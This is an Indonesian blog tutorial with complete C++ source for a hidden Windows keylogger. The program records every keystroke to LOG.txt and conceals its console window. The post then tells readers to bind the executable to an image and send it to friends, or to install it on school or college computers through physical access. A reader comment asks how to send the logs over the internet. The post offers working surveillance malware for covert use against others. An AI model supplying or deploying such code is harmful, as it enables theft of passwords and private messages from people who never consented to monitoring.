Skip to main content

MEMBUAT KEYLOGGER SEDERHANA DENGAN C++

Hai semua, pada kesempatan kali ini saya akan berbagi dan share tentang bagaimana membuat keylogger sederhana dengan C+ +. Kita Langsung Aja Yuk.

Perlengkapan Yang Dibutuhkan:
1. Dev C + +. Kalau belum punya bisa download di http://www.bloodsheed.net/
2. Cukup Paham Dengan Visual C + +

Langkah-Langkahnya:
1. Install Dev C + + kemudian jalankan Dev C + + compiler.
2. Pilih file -> New -> Source File (Akan terlihat lembar kerja kosong)
3. Copy code dibawah ini dan pastekan ke lembar kerja kosong tersebut
#include <iostream>
using namespace std;
#include <windows.h>
#include <winuser.h>
int Save (int key_stroke, char *file);
void Stealth();


int main()
{
Stealth();
char i;


while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}


/* *********************************** */


int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;


FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");


cout << key_stroke << endl;


if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);


fclose (OUTPUT_FILE);
return 0;
}


/* *********************************** */


void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}
4. Compile kode tersebut (ctrl+F9)



5. Sekarang coba jalankan program dengan cara, pilih Execute -> Run (ctrl+F10)

Sekarang keylogger Anda akan berjalan di sistem/PC anda. apapun yang Anda ketik menggunakan keyboard, akan disimpan dalam file log.txt.
Anda dapat melihat file log.txt pada tempat dimana Anda menyimpan file.

Mengikat file exe dengan gambar atau file dan mengirimkannya ke teman Anda.
(0r)
jika Anda memiliki akses fisik ke perguruan tinggi / sistem sekolah, lalu salin file exe dalam sistem itu dan menjalankannya.

Hanya itu saja yang bisa saya sampaikan. Semoga ilmu diatas bisa bermanfaat bagi kita semua. Mohon maaf jika ada yang salah.

Comments

  1. This comment has been removed by the author.

    ReplyDelete
  2. This comment has been removed by the author.

    ReplyDelete
  3. :f whah makasih gan. saya jg lagi belajar c++ nih, bbrapa waktu lalu liat dosen buat keylog soal nya, keren. (msih sem II ni..)
    oh ya gan, kalo misal program tsb diletakkan pada komp lain, tp hasil log tetap dikirim ke pc kita lewat internet kira2 bisa ngga ya? lebih rumit ya? hehe.. trims...
    :-g
    trus apakah emang keluar warning sperti ini? :?
    C:\Users\Lorenzo\Documents\Dev-C++\BCS.cpp [Warning] deprecated conversion from string constant to 'char*' [-Wwrite-strings]

    ReplyDelete

Post a Comment

Popular posts from this blog

DOMAIN (dot)asia HANYA AUD $1

  Di hari ulang tahun nya website Crazydomains yang ke 12 tahun,  crazydomains memberikan paket penawaran harga domain dengan TLD ( Top Level Domains ) (dot)asia hanya dengan seharga AUD $1 ( satu dollar australia ). Tentu saja kurs dollar australia lebih murah di bandingkan kurs dollar amerika. Untuk mendapatkan domain murah (dot)asia ini anda bisa membayarnya dengan menggunakan balance paypal. Dan yang pastinya anda tidak perlu mengisi atau mengharuskan memberi informasi tentang kartu kredit segala macem. Selain memberikan layanan untuk pemesanan nama domain, Crazydomains juga menyediakan sejumlah layanan lainnya, di antaranya adalah layanan Award Winning Logo Design, Cheap SSL Certificates, Professional Web Design, Build Your Own Website, Linux Dedicated Servers, Windows Dedicated Servers, Microsoft Email Exchange, Search Engine Submission dan Fax by Email. Untuk nama domain dengan harga paling murah dan harga ini bukan harga promo, yaitu domain (dot)mao...

LAKU.COM BELANJA ONLINE GROSIR ECERAN MURAH DAN AMAN

Hai Sahabat Blogger, Sebelumnya Saya Mau Mengucapkan Salam sejahtera untuk sahabat blogger. Pada kesempatan kali ini saya ingin sharing dan berbagi informasi tentang sebuah situs yang termasuk dalam online-commerce atau bias juga kita sebut sebagai toko online. Website/situs toko online yang akan saya paparkan nanti adalah sebuah toko online yang bisa kita manfaatkan untuk berbelanja secara online baik grosir maupun eceran secara online dimana harganya terjangkau dan aman. Laku.com adalah situs toko online yang menjual produk dengan memanfaatkan sebuat online-commerce baik secara grosir maupun eceran dengan harga murah dan transaksi yang aman. Laku.com dikembangkan oleh PT. Laku Indonesia,  sebuah perusahaan yang bergerak di bidang Informasi dan Teknologi. Produk dari laku.com antara lain fashion, kecantikan dan kesehatan. Namun dilihat dari blog laku.com produk utamanya adalah Busana/Fashion. Untuk lebih jelasnya akan saya jelaskan yang mudah-mudahan akan memberikan seb...